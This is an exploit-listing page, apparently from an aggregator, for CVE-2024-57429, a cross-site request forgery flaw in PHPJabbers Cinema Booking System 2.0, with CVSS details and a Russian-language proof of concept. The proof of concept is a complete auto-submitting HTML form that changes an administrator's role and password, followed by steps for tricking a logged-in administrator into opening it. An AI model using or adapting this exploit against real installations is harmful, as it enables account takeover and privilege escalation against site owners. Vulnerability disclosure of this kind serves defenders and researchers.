Exploit for CVE-2024-57429

kitploit · 2026-08-25

Description

CSRF in PHPJabbers Cinema Booking System v2.0 pjActionUpdate enables privilege escalation.

Affected Phpjabbers Cinema Booking System versions

Phpjabbers Cinema Booking System= 2.0

All known vulnerabilities by product

Phpjabbers Cinema Booking System

CVSS 5.4 for CVE-2024-57429

5.4

MEDIUM SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:REQUIRED

Scope:UNCHANGED

Confidentiality:LOW

Integrity:LOW

Availability:NONE

CVE Information

CVE-2024-57429

Exploit Details

Modified:2026-08-25 04:17

Last Seen:2026-08-26 03:15

Reporter:KitPloit

Other exploits for CVE-2024-57429

PHPJabbers Cinema Booking System 2.0 Cross Site Request Forgery

2025-02-05 Astik RawatPACKETSTORM

PHPJabbers Cinema Booking System 2.0 Cross Site Request Forgery Vulnerability

2025-02-05 Astik RawatZDT

Exploit Code

MARKDOWN48 lines

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-AHRIXIA-CVE-2024-57429
# CVE-2024-57429

Уязвимость межсайтовой подделки запроса (CSRF) в функции pjActionUpdate системы бронирования кинотеатров PHPJabbers Cinema Booking System v2.0 позволяет удаленным злоумышленникам повышать привилегии, обманом заставляя аутентифицированного администратора отправить несанкционированный запрос.

## Воздействие:

Эксплуатация этой уязвимости CSRF может привести к несанкционированным действиям, таким как:

  * Смена пароля администратора, что фактически блокирует ему доступ.
  * Повышение привилегий атакующего до администратора путем обновления его роли пользователя.



## Эксплойт - Proof of Concept (POC)

### Межсайтовая подделка запроса (CSRF)

### poc.html

root@kitploit:~
    
    
    <html>
     <!-- CSRF PoC - Update Admin User -->
     <body>
       <form action="http://127.0.0.1/CinemaBookingDev/index.php?controller=pjAdminUsers&action=pjActionUpdate" method="POST">
         <input type="hidden" name="user_update" value="1" />
         <input type="hidden" name="id" value="3" />
         <input type="hidden" name="role_id" value="1" />
         <input type="hidden" name="email" value="some-email@example.com" />
         <input type="hidden" name="password" value="newpassword123" />
         <input type="hidden" name="name" value="Attacker" />
         <input type="hidden" name="phone" value="1234567890" />
         <input type="hidden" name="status" value="T" />
         <input type="submit" value="Submit request" />
       </form>
       <script>
         history.pushState('', '', '/');
         document.forms[0].submit();
       </script>
     </body>
    </html>
    

  1. Сохраните приведенный выше код как poc.html
  2. Разместите файл на сервере и обманом заставьте администратора открыть его, пока он авторизован в приложении.
  3. Учетная запись администратора будет обновлена с данными атакующего и новым паролем.

Exploit Code

Share

Share on social media: